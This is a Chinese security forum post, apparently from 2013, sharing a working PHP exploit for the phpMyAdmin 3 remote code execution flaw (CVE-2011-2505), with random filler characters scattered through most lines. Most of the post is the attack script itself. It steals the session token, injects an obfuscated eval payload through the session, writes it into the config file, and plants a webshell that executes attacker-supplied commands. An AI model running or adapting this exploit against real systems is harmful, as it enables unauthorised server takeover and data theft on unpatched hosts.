找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2245|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。: x$ i  _  i/ |/ K# _( M) P% ^
5 u$ Q+ F. t: A3 b/ G5 y
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。- b" d6 Q: U5 o+ U  Q( q- N9 Q
9 S6 h  ^% y5 K2 H) t4 x% D) s
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
, i$ X5 q3 D- t8 b! }* M0 ^2 @一是session.auto_start = 1;
5 q. A) E" m; L/ s: A; |) W$ D二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
8 u, _: J' F1 I6 o当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
0 L0 G+ H0 k% V: M0 [1 }6 _
' _3 N- g' W# E在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; F% V  ?0 I3 F  G5 B2 p. [; h5 v3 p1 i# o
于是写了这个php版本的exp,代码如下:( i  A  `. ^4 I) r- H

$ J  |; z' n: E4 [- p. Q( [#!/usr/bin/php
3 `. B/ x4 n$ N$ T<?php
2 F4 [1 d/ \( Bprint_r('- \- e3 G1 E( K/ ^5 D! S  v0 @- B
+---------------------------------------------------------------------------+' ?6 @% |: @4 H+ |! D1 B8 U! \
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
+ w  ^# Y+ j5 d2 G8 kby oldjun(www.oldjun.com)
. J* G' z' f0 p, g1 y7 j% @4 ywelcome to www.t00ls.net
- k. w  m: e6 Smail: oldjun@gmail.com0 p. b- l6 C, ^2 c6 J
Assigned CVE id: CVE-2011-2505( l2 U# }, V# V& S
+---------------------------------------------------------------------------+
2 F' p) W0 O+ Y& V- M: \. i');- U4 i' {& U4 ~9 }+ N5 i6 ]# w" ~

( G, \* g6 Y5 r- K6 U' ~# Y, ^! e/**
2 E# |3 [# Z' L: n * working when the directory:"config" exists and is writeable.+ M9 b, O# Q5 H, T1 x
**/
; H+ v( R; [1 @
/ u( s6 D% w  rif ($argc < 3) {! i' f' M9 \. f  Z
    print_r('
' T; `1 U3 P9 V2 E. p- q% l+---------------------------------------------------------------------------+& g$ F$ F& l/ o: i1 n( J& e3 c
Usage: php '.$argv[0].' host path2 j$ W# n! a/ |% r7 Z: |% A
host:      target server (ip/hostname)
+ Y( U& j  s/ T0 G) c, Gpath:      path to pma36 o# u6 g/ Z0 x+ n
Example:6 J3 Q  _2 l$ x8 }8 s
php '.$argv[0].' localhost /pma/
# H4 \; X- n9 l$ [* ^7 ~+---------------------------------------------------------------------------+
& P7 l2 a: s. Y) @');
" v! y# w/ I! T1 ]3 l) P9 I    exit;
) i% h4 z2 Y0 @9 E2 A0 k' D& Q}
5 U. v; Q% n7 Q+ X/ V; n
# J. D* o2 v/ C7 t& v6 l# i, Z$host = $argv[1];
& B  v: j. ^  U0 B/ C+ k  F$path = $argv[2];! P5 p9 v( `6 ?- P" ^" ]6 `
1 U0 ?+ h1 W2 C% J: f
/**
  S& d6 X- `* Z * Try to determine if the directory:"config" exists. m9 E; h5 }+ {& f; ?, t# |
**/+ G; T6 H$ O, A" e' @/ O
echo "[+] Try to determine if the directory:config exists....\n";# O& D- L, _; c+ E
$returnstr=php_request('config/');
) h7 r) g9 K2 S8 U2 |; Z+ h2 ?% Bif(strpos($returnstr,'404')){
& s; b$ w( e# `    exit("[-] Exploit Failed! The directory:config do not exists!\n");
0 s2 \0 O# H: k0 }}
0 Z5 A. z2 V; d/ T4 W2 g" N" J; u" {9 R8 w( d6 G9 p
/**
1 @: D3 j; k1 r) J; [ * Try to get token and sessionid* O2 _1 b0 M; V1 Y
**/8 T3 l: M, @% W3 Z4 k$ y1 v& h4 T
echo "[+] Try to get token and sessionid....\n";) \) z" A; }+ T' t
$result=php_request('index.php');
$ {# g. C4 Y3 C% t! s6 M& A! Dpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);2 h# @+ [) Y1 U! ~* E
$token=$resp[3];
) }, q* i4 V. h# x2 Z0 h  ]$sessionid=$resp[1];. N+ y5 y9 T3 t. h
if($token && $sessionid){
& Z: }( k. f8 q# m+ c+ p% X. S    echo "[+] tokentoken\n";
) B  u' w' d7 J& u) X% y0 A3 i    echo "[+] Session IDsessionid\n";
) k9 w* Y' Z) L  N}else{0 B3 q* ~' D* u. {8 P; V7 Y: q
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
3 H2 h; a9 r1 T; z. `, R0 T}
3 @- J; J7 ~( L: F; R: n6 s3 e% U
# R. |0 w7 J7 k7 {: K7 _( N/**9 a) Q. d& `" `1 ?$ J
* Try to insert shell into session+ |& B4 h# p/ d! Z
**/; M7 @5 E6 M8 L/ W% f) v
echo "[+] Try to insert shell into session....\n";
; O+ ~% O" J4 }0 Pphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
; Y+ S2 J. s5 U* ?& g3 V9 _
- b  A+ x9 v3 h. N0 o+ {% r9 V: i/**  \( O; C2 ^7 p
* Try to create webshell* e9 d# G) ?4 Q( a7 q- F# d. b
**/
; _/ P7 R/ _) A+ d) A0 T; }3 X- Jecho "[+] Try to create webshell....\n";6 F. Z7 t! d5 t4 Z0 a
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);2 X+ e, b3 Y" `' a
/**8 r. }* L2 Q3 z1 J. t
* Try to check if the webshell was created successfully  W% f2 [& m/ f8 _
**/4 [( X: i- m6 @7 M1 {! T1 ]
echo "[+] Try to check if the webshell was created successfully....\n";
/ ~4 h& \# u- c0 C! H7 o" V% y5 s2 ?$content=php_request('config/config.inc.php');
: o# K% D( h9 Vif(strpos($content,'t00ls')){
0 T  ]1 S& e/ t. c1 O    echo "[+] Congratulations! Expoilt successfully....\n";
6 I6 h. U' S! n3 M  o2 D    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
& I1 _2 V+ S2 ^. y. v" n}else{
) [6 `$ T- m1 d. e+ s    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");, a9 C" R6 ^7 L/ s1 i( w+ E
}5 T; @- \  T, H; b* b

3 i9 D& G2 `, m, F1 L% }' Qfunction php_request($url,$data='',$cookie=''){" D+ b7 ~# o- w  o$ |& E' X
    global  $host, $path;
) x+ x/ H2 c8 b2 d7 q- M   
; S  K1 n3 Z7 e6 s    $method=$data?'POST':'GET';1 O! a& Q7 [) D5 S  s
    & s  x5 T( V. J; ]8 z! O! O. a* ~' d
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";7 `2 r8 B5 o1 h. v. k: @
    $packet .= "Accept: */*\r\n";
* E4 r3 L  v7 R    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";4 Y' ]5 y$ H) O; M) b- C5 L
    $packet .= "Host: $host\r\n";
' Y9 d5 `. W, O3 h( ?4 B4 T    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
6 I8 j3 J7 Q4 H7 Z    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";4 r$ O  W6 P# P$ R+ X5 t
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ N) m3 ~: p: O3 R    $packet .= "Connection: Close\r\n\r\n";
& T+ C$ ]6 `* t! b: C    $packet .= $data?$data:"";
" x9 i# |6 O+ S+ @, z  c0 `! j! K- F) J; z! O6 I, Z; o: b
    $fp = fsockopen(gethostbyname($host), 80);& i$ y! D1 H4 b1 e+ l) J, P
    if (!$fp) {0 C. N8 [  Q  q/ H+ {
    echo 'No response from '.$host; die;
6 r$ o7 L# _' o0 w  v  j: U7 E    }! k7 }8 W- I( Y+ _- r, a# ~! V9 ^3 z
    fputs($fp, $packet);
5 A1 |+ m9 n6 {6 U! v* }% w
+ e0 ]% \4 J% g# y  P/ ?    $resp = '';
' U' p' v0 _4 ~
6 M" v& ~/ z9 E# Y2 B) p* ?" o7 E. ?    while ($fp && !feof($fp))
0 [2 z# t' `0 X7 c% b$ t& B7 A        $resp .= fread($fp, 1024);# g7 z& Z+ x9 c& H4 ]- q- m

; c8 a  ^6 q: h: O7 a* F    return $resp;
) y0 F* c7 ]7 E8 _% n}, f( Q* R2 I; z+ O8 h* {4 F/ C
    & h- L+ l) _) F) s" R
?>
$ P1 x7 O/ h5 s6 t! r.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表